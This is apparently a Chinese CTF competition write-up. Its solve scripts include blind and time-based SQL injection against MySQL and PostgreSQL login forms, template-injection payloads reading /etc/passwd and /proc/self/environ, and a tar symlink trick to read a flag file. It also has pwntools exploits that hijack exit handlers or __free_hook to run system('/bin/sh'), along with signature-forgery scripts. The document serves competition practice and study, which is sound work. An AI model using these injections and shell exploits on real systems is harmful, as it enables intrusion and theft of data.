WEB
ezsql
实现注入。
#coding=utf-8
import requests
import threading
import string
import time
import sys
pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~'
url="http://139.129.98.9:30003/"
sql="user()"
def blindequ(start,end):
ret=""
for i in range(start,end):
for ch in pt:
payload="admn'||(substr({0},{1},1)='{2}')#".format(sql,i,ch)
data = {
"username":payload,
"password":'a'
}
#print data
#req=requests.post(url,data=data,allow_redirects=False)
req=requests.post(url+"/login.php",data=data)
#print req.text
#if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret=ret+ch
sys.stdout.write("[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name,ret))
sys.stdout.flush()
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")
blindequ(1,20)
然后发现需要表名 考虑新特性
# coding=utf-8
import requests
import threading
import string
import time
import sys
import string
import random
# pt = '{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-+[]?<>@!#$%^&*~. '
pt = string.printable+'\xff'
url = "http://139.129.98.9:30003/"
# payload_dict = {k: v for k, v in enumerate(pt)}
sql = "version()"
def blindequ(start, end):
ret = ""
for i in range(start, end):
# for k, ch in enumerate(pt):
k = 0
for k in range(32, 125):
# payload = "admn'||(substr({0},{1},1)='{2}')#".format(sql, i, ch)
# payload = "admi'||((0,'%s',2,1,1,1)>(table/**/information_schema.schemata/**/limit/**/2,1))#" % (ret+chr(k))
payload = "admi'||((0,0,'%s',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)>(table/**/information_schema.tables/**/limit/**/2,1))#" % (ret+chr(k))
data = {
"username": payload,
"password": 'a'
}
#print data
# req=requests.post(url,data=data,allow_redirects=False)
# if random.random() < 0.3:
# time.sleep(random.random())
req = requests.post(url+"/login.php", data=data)
#print req.text
# if req.status_code!=200 and req.status_code!=302:
# continue
if "password error!" in req.text:
ret = ret+chr(k-1)
sys.stdout.write(
"[-]{0} Result : -> {1} <-\r".format(threading.current_thread().name, ret))
sys.stdout.flush()
break
if k == 124:
break
print(threading.current_thread().name+"[+]Result : ->"+ret+"<-")
blindequ(1, 50)
得到 f11114g表名
username处进行注入,substr的真假分别会报错username error和password error
随便设置一个password,字段是1的时候盲注得到表名,利用mysql8新增的特性构造payload盲注得到flag
import requests
url = 'http://139.129.98.9:30003/login.php'
payload = 'admin\'and/**/substr((table/**/f11114g/**/limit/**/1,1),{},1)=\'{}\'#'
passa='123'
result = ''
for j in range(1,500):
for i in '{qwertyuiopasdfghjklzxcvbnm_@#$%^&*()_=-0123456789,./?|}':
py = payload.format(j,i)
post_data = {'username': py,'password':passa}
re = requests.post(url, data=post_data)
if 'password' in re.text:
result += i
print(result)
你能登陆成功吗&你能登陆成功吗Revenge
PostGresql数据库
语法同Mysql不同 ban的也比较多
通过sqlmap找到了一个可以成功sleep()的语句需要bypass空格一下
F12种给了表和注入用的字段
因为是预期解使用同一脚本可打2题。
直接注入即可
import requests
import time
import datetime
result=''
url="http://139.129.98.9:30007/"
sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((CURRENT_DATABASE())::text/**/FROM/**/1/**/FOR/**/1))=99)/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1"
for i in range(1,32):
for j in range(32,128):
sql="1'/**/AND/**/4262=(CASE/**/WHEN/**/(ASCII(SUBSTRING((select/**/password/**/from/**/users/**/limit/**/1/**/offset/**/0)::text/**/FROM/**/{}/**/FOR/**/1))={})/**/THEN/**/(SELECT/**/4262/**/FROM/**/PG_SLEEP(5))/**/ELSE/**/4262/**/END)/**/AND/**/'1'='1".format(i,j)
data={
"username":"admin",
"password":sql
}
a=datetime.datetime.now()
ss=requests.post(url,data)
b=datetime.datetime.now()
# print(b-a)
if (b-a).seconds>4:
result+=chr(j)
print(result)
break
html编辑器
一个HMTL编辑器,可以写入html再通过?view=XXXXX去访问
首先写{{1+2}},结果查询的时候返回了3,可见view去解析的过程中存在模板注入漏洞。
随便写一点模板注入的代码,确认漏洞存在。
{% include "/etc/passwd" with raw %}
使用include构造任意文件读取
{% include "/usr/local/app/app.js" with raw %}
读源码
然而读了/etc/profile、/etc/environment、/root/.bash_history等文件都没找到flag
最后在proc下面找到了{% include "/proc/self/environ" with raw %}
Misc
签到
file协议导致后面的会url解码一次所以二次编码flag
直接读到flag
Hi_433MHZ
通过加补WAV的头或者直接导入原始数据放大频谱图发现规律
手动转01 后再转字符串即可解得flag
FM
通过分析得知是无线电,给了一个调频的范围,考虑是用软件来解调并且直接听无线电即可。
使用一个脚本来从iq转wav然后以32000MHZ导入进SDR#Sharp
即可听到flag
Crypto
Crypto_System
要求不同的消息有同样的签名,根据s相等,解方程 x1+b1r1=x2+b2r2
构造r2
from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30001")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'
def proof_of_work(sh):
sh.recvuntil("XXXX+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Give me XXXX:", proof)
proof_of_work(sh)
sh.interactive()
# These three are constants
p = 12039102490128509125925019010000012423515617235219127649182470182570195018265927223
g = 10729072579307052184848302322451332192456229619044181105063011741516558110216720725
def int2str(data, mode="big"):
if mode == "little":
return sum([ord(data[_]) * 2 ** (8 * _) for _ in range(len(data))])
elif mode == "big":
return sum([ord(data[::-1][_]) * 2 ** (8 * _) for _ in range(len(data))])
def get_parameter(m):
x = int2str(m, 'little')
y = pow(g, x, p)
a = bytes_to_long(hashlib.sha256(long_to_bytes(y).rjust(128, b"\0")).digest())
b = pow(a, a, p - 1)
h = pow(g, b, p)
return y, h, b
def sign(m):
y, h, b = get_parameter(m)
r = getStrongPrime(512)
s = (y * powmod(h, r, p)) % p
return str(r),str(s)
def verify(m, r, s):
y, h, b = get_parameter(m)
if s == ((y * powmod(h, r, p)) % p):
return True
else:
return False
sh.recvuntil("Here is the frist message(64 bytes):")
message1 = bytes.fromhex(sh.recvuntil("\n")[:-1].decode()).decode()
sh.recvuntil("Here is the second message(64 bytes):")
message2 = sh.recvuntil("\n")[:-1].decode()
print("message2",message2)
message2 = bytes.fromhex(message2).decode()
sh.recvuntil("The frist message's 'r':")
message1_r = int(sh.recvuntil("\n")[:-1])
sh.recvuntil("Please choice your options:")
message1_y, message1_h, message1_b = get_parameter(message1)
message1_s = (message1_y * pow(message1_h, message1_r, p)) % p
message2_s = message1_s
#s == ((y * powmod(h, r, p)) % p)
message2_y, message2_h, message2_b = get_parameter(message2)
#target = (message2_s * inverse(message2_y,p))%p
#print("p=",p)
#print("target=",target)
#print("message2_h",message2_h)
#x1+b1r1=x2+b2r2
print(message1)
print(message2)
x1 = int2str(message1, 'little')
b1 = message1_b
r1 = message1_r
x2 = int2str(message2, 'little')
b2 = message2_b
tmp = gcd(b2,p-1)
print(tmp)
r2 = (((x1+b1*r1-x2)//tmp)*inverse(b2//tmp,p-1))%(p-1)
print(r2,message2_s)
sh.sendline("3")
sh.recvuntil("Please give me the (r,s) of the second message:")
print("("+str(r2)+","+str(message2_s)+")")
sh.sendline("("+str(r2)+","+str(message2_s)+")")
sh.interactive()
EASYRSA
先利用beta求出tip,再用tip求出x+y,x * y,解方程的x和y。
e = 65537
#m = bytes_to_long(flag)
#enc = powmod(m,e,n)
n=17986052241518124152579698727005505088573670763293762110375836247355612011054569717338676781772224186355540833136105641118789391002684013237464006860953174190278718294774874590936823847040556879723368745745863499521381501281961534965719063185861101706333863256855553691578381034302217163536137697146370869852180388385732050177505306982196493799420954022912860262710497234529008765582379823928557307038782793649826879316617865012433973899266322533955187594070215597700782682186705964842947435512183808651329554499897644733096933800570431036589775974437965028894251544530715336418443795864241340792616415926241778326529055663
e=65537
enc=10760807485718247466823893305767047250503197383143218026814141719093776781403513881079114556890534223832352132446445237573389249010880862460738448945011264928270648357652595432015646424427464523486856294998582949173459779764873664665361437483861277508734208729366952221351049574873831620714889674755106545281174797387906705765430764314845841490492038801926675266705606453163826755694482549401843247482172026764635778484644547733877083368527255145572732954216461334217963127783632702980064435718785556011795841651015143521512315148320334442235923393757396733821710592667519724592789856065414299022191871582955584644441117223
beta=11864389277042761216996641604675717452843530574016671576684180662096506094587545173005905433938758559675517932481818900399893444422743930613073261450555599
tip = (n-1)//(2*beta)
for i in range(10000):
x_add_y = tip % beta + beta*i
x_mul_y = (tip - x_add_y)//(2*beta)
try:
if iroot(x_add_y**2 - 4*x_mul_y,2)[1]:
print "fxxk"
y = (x_add_y - iroot(x_add_y**2 - 4*x_mul_y,2)[0] )//2
x = x_add_y - y
p = 2*y*beta + 1
q = 2*x*beta + 1
assert(is_prime(p) and is_prime(q))
phi = (p-1)*(q-1)
d = inverse(e,int(phi))
print long_to_bytes(pow(enc,d,n))
except:
pass
Reverse
midnight魔改题,原来是十六进制reverse,这里是二进制reverse,魔改原来的脚本即可
https://github.com/ironore15/ctf/blob/master/2020-MidnightSun/rsa_yay/solve.py
from Crypto.Util.number import *
from gmpy2 import *
from itertools import product
n = 158985980192501034004997692253209315116841431063210516613522548452327355222295231366801286879768949611058043390843949610463241574886852164907094966008463721486557469253652940169060186477803255769516068561042756903927308078335838348784208212701919950712557406983012026654876481867000537670622886437968839524889
ct = 103728452309804750381455306214814700768557462686461157761076359181984554990431665209165298725569861567865645228742739676539208228770740802323555281253638825837621845841771677911598039696705908004858472132222470347720085501572979109563593281375095145984000628623881592799662103680478967594601571867412886606745
max_idx = 1
pq_list = [(1,1)]
'''
for idx in range(1, 512):
mod = 2 ** (idx + 1)
new_pq_list = []
for p, q in pq_list:
for i, j in product(range(2), repeat=2):
np = i * 2 ** idx + p
nq = j * 2 ** idx + q
if (np * nq) % mod != n % mod:
continue
rp_min = int('{:b}'.format(np)[::-1].ljust(512, '0'), 2)
rq_min = int('{:b}'.format(nq)[::-1].ljust(512, '0'), 2)
rp_max = int('{:b}'.format(np)[::-1].ljust(512, '1'), 2)
rq_max = int('{:b}'.format(nq)[::-1].ljust(512, '1'), 2)
if n < rp_min * rq_min or rp_max * rq_max < n:
continue
new_pq_list.append((np, nq))
print(len(new_pq_list))
pq_list = new_pq_list
for p,q in pq_list:
#p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
#q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
if p.bit_length() == q.bit_length()==512:
d = inverse(0x10001, (p - 1) * (q - 1))
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
'''
p=13299413764048930133302138749466137829470129709829516069778014310838093114516400589047888072065037035007023741009041669893387899867083575829855377403280423
q=11954360020159164180709939019047385560179850436770100207193049651260543609501871575909448998378290922795824941066935928157032997160163537467165365731882943
d = inverse(0x10001, (p - 1) * (q - 1))
pt = pow(ct, d, n)
flag = long_to_bytes(pt)
print flag
ECDSA
不同消息有同样的签名,切入点在可以更改公钥Q,还有就是,r是dG.x,而dG.x == -dG.x,由于公钥可控,相当于签名验证时的私钥k可控,所以可以自己构造方程(s1==s2)解得一个自己的私钥K,然后再用这个私钥给msg签名得到s,r = dG.x,签名时的d自己生成就好。
from pwn import *
from Crypto.Util.number import *
sh=remote("139.129.98.9","30002")
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import hashlib
from math import gcd
context.log_level = 'debug'
a=0
b=7
q=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
gx=0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
gy=0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
order=0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
ecc = EllipticCurve(GF(q), [a,b])
G = ecc(gx,gy)
import hashlib
def sha1(content):
return hashlib.sha1(content).digest()
def proof_of_work(sh):
sh.recvuntil("XXXX+")
suffix = sh.recvuntil(')').decode("utf8")[:-1]
log.success(suffix)
sh.recvuntil("== ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("Give me XXXX:", proof)
proof_of_work(sh)
sh.recvuntil("Here is the frist message(64 bytes):")
msg1 = sh.recvuntil("\n")[:-1]
sh.recvuntil("Here is the second message(64 bytes):")
msg2 = sh.recvuntil("\n")[:-1]
message = hex(bytes_to_long(msg1))[2:]
e1=bytes_to_long(sha1(msg1))
e2=bytes_to_long(sha1(msg2))
print("e1=",e1)
print("e2=",e2)
#pubkey = sh.recvuntil("\n")[:-2].decode()
#r=[d * G].x
d=12321
r=int((d*G)[0])
new_k = ((-e1-e2)*inverse(2*r,order))%order
new_G = new_k * G
new_S = ((e1-e2)*inverse(2*d,order))%order
#new_S = ((e1 + new_k*r)*inverse(d,order))%order
newpubkey = hex(new_G[0]).replace("0x","").rjust(64,"0")+hex(new_G[1]).replace("0x","").rjust(64,"0")
newsignature = hex(r).replace("0x","").rjust(64,"0")+hex(new_S).replace("0x","").rjust(64,"0")
sh.recvuntil("Please choice your options:")
sh.sendline("3")
sh.recvuntil("Please give me your public_key(hex):")
sh.sendline(newpubkey)
sh.recvuntil("Please choice your options:")
sh.sendline("6")
sh.recvuntil("Please give me the signature(hex) of the frist message:\n")
sh.sendline(newsignature)
sh.recvuntil("Please give me the signature(hex) of the second message:\n")
sh.sendline(newsignature)
sh.interactive()
Reverse
slime_war
游戏题,通过CE可以发现其中有几个Secret可以获得,通过不断改发现应该是有5个secret来触发flag,并且都需要手玩。
经过IDA调试发现以下几点:
- 打败boss
- 进入入口得隐藏房间
- 去买一个magicbox 去第二关的一个地点按t 然后最短路径走到t那个
- 输入whosyourdaddy
- 打出伤害为一个hash值(爆破后发现为666)
全部触发后得到flag
爆破伤害的hash
import idaapi
import idc
flag=0
for flag in range(467, 10000):
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(10, 'eax')
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(0x140001BC2, 'rip')
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001BCE)
GetDebuggerEvent(WFNE_SUSP, -1)
SetRegValue(flag, 'ecx')
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001CD8)
GetDebuggerEvent(WFNE_SUSP, -1)
RunTo(0x140001C09)
GetDebuggerEvent(WFNE_SUSP, -1)
test = GetRegValue("ZF")
by2= get_bytes(0x00014FDF0, 5)
print (by2)
if(test==1):
print ("Found:")
print flag
break
GetDebuggerEvent(WFNE_SUSP, -1)
Pwn
qtar
rename获得该名字的可读权限,x获得可解压权限,上传一个带有指向/home/ctf/flag软链接的压缩包,通过改名获得二次解压的权限,然后直接读即可
from pwn import *
import os
sla = lambda x, y: p.sendlineafter(x, y)
context.log_level = 'debug'
p = remote('47.104.178.87', 49125)
def c(file, rename):
sla('>', 'c')
sla('Filename: /tmp/', file)
sla(']','y')
sla('Arcname:', rename)
p.recvuntil('File compressed as ')
re = p.recv(32)
success('COMPFILE : '+re)
return re
def x(file):
sla('>', 'x')
sla('Filename:', file)
def u(content):
sla('>', 'u')
sla('Content:', content)
p.recvuntil('/tmp/')
re = p.recv(32)
success('UPFILE : '+re)
return re
name = '/home/ctf/flag'
os.system('rm flagln')
os.system('ln -snf {} flagln'.format(name))
#os.system('echo 233333>flagln')
if 'flagln' not in os.listdir(os.getcwd()):
exit(0)
os.system('tar -cvzf flag.tar flagln')
with open('flag.tar', 'r') as f:
elf = f.read()
vic1 = u('123')
vic = c(vic1, '123')
c(vic1, 'flagln')
tar1 = u(elf)
tar = c(tar1, vic)
x(tar)
x(vic)
sla('>','r')
sla('Filename:','flagln')
p.interactive()
2a1
libc_start_main结束后执行exit,里面有个被fs:0x30加密过的dl_fini的值,通过泄露,算出fs:0x30,然后再加密system填入,参数填入binsh,拿到shell
#!/usr/bin/python
from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='2a1'
libc_name='libc-2.23.so'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
#p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
#p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
p=remote('47.104.178.87',38378)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def ROR(i,index):
tmp = bin(i)[2:].rjust(64,"0")
for _ in range(index):
tmp = tmp[-1] + tmp[:-1]
return int(tmp, 2)
def ROL(i,index):
tmp = bin(i)[2:].rjust(64, "0")
for _ in range(index):
tmp = tmp[1:] + tmp[0]
return int(tmp, 2)
ru('Gift: ')
libc_base = int(p.recvline()[:-1],16)-libc.sym['alarm']
print(hex(libc_base))
ptr = libc_base+0x3c5c58
print(hex(ptr))
dl_fini=libc_base+0x3daaf0
sa('where to read?:',p64(ptr))
ru('data: ')
encode_ptr = u64(p.recv(8))
print(hex(encode_ptr))
dl_fini_1 = ROL(dl_fini,0x11)
print(hex(dl_fini),hex(dl_fini_1))
key = dl_fini_1 ^ encode_ptr
print(hex(key))
exit_funcs=libc_base+0x3c45f8
system_addr = libc_base+libc.sym['system']
binsh = libc_base+0x18ce17
encode_system = key ^ ROL(system_addr,0x11)
sa('where to write?:',p64(exit_funcs))
print(hex(system_addr))
sla('msg:',b'a'*0x8+p64(1)+p64(4)+p64(encode_system)+p64(binsh))
ia()
easy_pwn
3处的edit中的read存在堆溢出,可以在堆中任意写,构造两个可以show的string,通过前一处的字符串溢出到后一个string类的字符串指针,修改指针末尾为’\x10’指向堆,泄露堆地址,再修改为unsorted bin的fd,泄露libc地址,最后指向free_hook修改为system,show的时候完成system(“/bin/sh”)
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=0
binary_name='pwn'
libc_name='libc.so.6'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('47.105.44.8',35793)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def cho(num):
sla("choice:",str(num))
def add():
cho(1)
sl('aaaaaaaa -> /bin/sh\x00bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb')
sl('ccccccccccccccccccc -> ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd')
sl('exit')
def show():
cho(2)
def gf():
cho(3)
def edit(name,size,data):
cho(4)
sla("Non-Terminal:", name)
sla("size:",str(size))
sd(data)
add()
heap_rub = 'g'*0x18+p64(0x21)+p64(0)*3+p64(0x51)+'d'*0x40+p64(0)+p64(0x81)
edit('c'*19,0x80000000,heap_rub+'\x10')
show()
ru('Grammar:\n')
p.recv(2)
heap_base = u64(p.recv(8))-0x250
print(hex(heap_base))
gf()
edit('g'*19,0x80000000,heap_rub+p64(heap_base+0x600)+p64(0x400))
show()
libc_base = u64(p.recvuntil('\x7f\x00\x00')[-8:].ljust(8, '\x00')) - 0x3c4ca8
print(hex(libc_base))
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
edit('g'*19,0x80000000,heap_rub+p64(free_hook)+p64(8))
a = '\x00'*8
edit(a,0x8,p64(system))
print(hex(system))
show()
ia()